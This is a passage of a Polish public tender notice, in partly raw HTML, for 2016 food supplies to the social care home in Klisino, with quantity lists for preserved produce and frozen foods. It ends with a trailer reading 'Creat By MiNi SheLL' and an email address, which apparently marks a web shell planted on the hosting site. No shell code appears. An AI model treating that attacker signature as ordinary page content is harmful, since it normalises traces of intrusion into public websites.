Podmioty działające na rynku spożywczym są obowiązane przestrzegać wytycznych zawartych w Ustawie z dnia 25 sierpnia 2006 r. o bezpieczeństwie żywności i żywienia (Dz. U. 2006 Nr 171 poz. 1225 z póź. zm. 

1. Osoba pracująca w styczności z żywnością powinna uzyskać określone przepisami o zapobieganiu oraz zwalczaniu zakażeń i chorób zakaźnych u ludzi orzeczenie lekarskie dla celów sanitarno-epidemiologicznych o braku przeciwwskazań do wykonywania prac, przy wykonywaniu których istnieje możliwość przeniesienia zakażenia na inne osoby. 
2. 	Kopie orzeczenia lekarskiego znajdują się w miejscu wykonywania pracy przez osobę, której dotyczy to orzeczenie..</p>
<p><b>II.1.5)
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
<td><b>przewiduje się udzielenie zamówień uzupełniających</b></td></tr>
</table>                            
</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li>
<li></li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 15.30.00.00-1.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 2.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2016.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> ZAMAWIAJĄCY NIE WYMAGA WNIESIENIA WADIUM</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>posiadania uprawnień do wykonywania określonej działalności lub czynności;
Warunek ten zostanie spełniony, jeżeli wykonawca załączy do swojej oferty podpisane oświadczenie o spełnieniu warunków udziału w postępowaniu - załącznik nr 2</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>posiadania uprawnień do wykonywania określonej działalności lub czynności;
Warunek ten zostanie spełniony, jeżeli wykonawca załączy do swojej oferty podpisane oświadczenie o spełnieniu warunków udziału w postępowaniu - załącznik nr 2</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>posiadania uprawnień do wykonywania określonej działalności lub czynności;
Warunek ten zostanie spełniony, jeżeli wykonawca załączy do swojej oferty podpisane oświadczenie o spełnieniu warunków udziału w postępowaniu - załącznik nr 2</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>posiadania uprawnień do wykonywania określonej działalności lub czynności;
Warunek ten zostanie spełniony, jeżeli wykonawca załączy do swojej oferty podpisane oświadczenie o spełnieniu warunków udziału w postępowaniu - załącznik nr 2</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>posiadania uprawnień do wykonywania określonej działalności lub czynności;
Warunek ten zostanie spełniony, jeżeli wykonawca załączy do swojej oferty podpisane oświadczenie o spełnieniu warunków udziału w postępowaniu - załącznik nr 2</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>

<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>NIE DOTYCZY</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2)</b>
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
    <td><b>przeprowadzona będzie aukcja elektroniczna,</b> adres strony, na której będzie prowadzona: </td></tr>
</table>                            
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Przewidziano następujące zmiany:
- możliwość zmian cen w przypadku zmiany stawek podatku VAT na podstawie obowiązujących przepisów prawnych w tym zakresie. Zmiany są wprowadzone aneksem. Zmianie ulegnie kwota podatku VAT i cena brutto danego asortymentu. Cena netto pozostanie niezmienna. O zmianie VAT-u na przedmiot umowy, Wykonawca informuje pisemnie Zamawiającego z 14-dniowym wyprzedzeniem przed terminem dostawy towaru, którego cena ulegnie zmianie.
Zmiana umowy może nastąpić w przypadku gdy jej wprowadzenie jest konieczne dla prawidłowej realizacji zamówienia.
Wskazane powyżej zmiany mogą zostać wprowadzone, jedynie w przypadku jeżeli obydwie strony umowy (zamawiający i wykonawca) zgodnie uznają, że zaszły wskazane okoliczności oraz wprowadzenie zmian jest konieczne i niezbędne dla prawidłowej realizacji zamówienia.
Wymagania dotyczące umowy o podwykonawstwo, której przedmiotem są dostawy, których niespełnienie spowoduje zgłoszenie przez zamawiającego odpowiednio zastrzeżeń lub sprzeciwu, jeżeli zamawiający określa takie wymagania.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> bip.dps-klisino.pl, bip.dps.powiatglubczycki.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> DOM POMOCY SPOŁECZNEJ 
W KLISINIE
48-118 LISIĘCICE
osobiście: codziennie od poniedziałku do piątku od godz. 7.00 do 14.00
lub za pośrednictwem poczty.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 07.12.2015 godzina 08:45, miejsce: DOM POMOCY SPOŁECZNEJ 
W KLISINIE
48-118 LISIĘCICE
SEKRETARIAT POK. NR 1.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> NIE DOTYCZY.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> OWOCE, WARZYWA I PODOBNE PRODUKTY.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> ORIENTACYJNE ZAPOTRZEBOWANIE NA 2016 ROK

Część I        OWOCE, WARZYWA I PODOBNE PRODUKTY

Dżem truskawkowy wysokosłodzony kg 	1 651
Sok owocowy syrop (rozcieńczalność 1:10)  L	781
Przecier pomidorowy koncentr. min. 30% l	1 042
Przecier ogórkowy kg	285
Przecier szczawiowy l	321
Kukurydza konserwowa  kg	380
Groszek konserwowy kg	345
Papryka konserwowa cięta l	979
Chrzan konserwowy tarty z kwaskiem cytrynowym kg	57
Ogórki konserwowe kg	1 559
Kapusta kiszona kg	2 944
Marmolada wieloowocowa - twarda kg	31
Kompot z czarnej porzeczki l	560
Kompot z aronii l 	524
Kompot śliwkowy l	134
Ogórek kiszony kg	995
Pieczarki marynowane - krojone kg 	159
Kompot wiśniowy  l	200
Fasola konserwowa - szparagowa l	1 108
Koncentrat z buraków l	23
Grzyby suszone kg	3
Śliwka suszona kg	14
Gruszka suszona kg	14
Jabłko suszone kg	20
Sałatka z pomidorów zielonych kg	131
Sałatka wielowarzywna kg	584
Morele suszone kg	3
Brzoskwinie kg	3
Kompot truskawkowy 	25.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 15.30.00.00-1.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2016.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> MROŻONKI.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> ORIENTACYJNE ZAPOTRZEBOWANIE NA 2016 ROK
Część II             MROŻONKI

Mieszanka warzywna (wielowarzywna) mrożona kg	1 629
Kalafior mrożony kg 	432
Brokuł mrożony kg	508
Szpinak mrożony kg	1 187
Fasola szparagowa mrożona kg 	1 442
Mrożonki - kluski z mięsem kg	888
Mrożonki - pierogi z kapustą i grzybami kg	331
Mrożonki - pierogi ruskie kg	1 109
Mrożonka - wiśnie kg	165
Mrożonka - zupa pieczarkowa kg	122
Mrożonka - zupa fasolowa kg	37
Mrożonka - włoszczyzna kg	158
Mrożonka - leczo kg	6
Mrożonka - seler kg	40
Mrożonka - kluski śląskie kg	1 399
Mrożonka - zupa grzybowa kg	131
Mrożonka - zupa kalafiorowa kg	31
Mrożonka - czarna porzeczka kg 	766
Mrożonka - truskawka kg	729
Mrożonka - marchew, groszek kg	575
Mrożonka - marchew kg	338
Mrożonka - marchew, kalafior, brokuł
                                                             kg	247
Mrożonka kompotowa - mieszanka wieloowocowa                                     kg	3 086
Mrożonka - pierogi z mięsem kg	918
Mrożonki - pyzy kg	453
Mrożonki - pierogi z truskawkami kg	457
Mrożonki - pierogi z serem kg	32.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 15.30.00.00-1.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2016.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com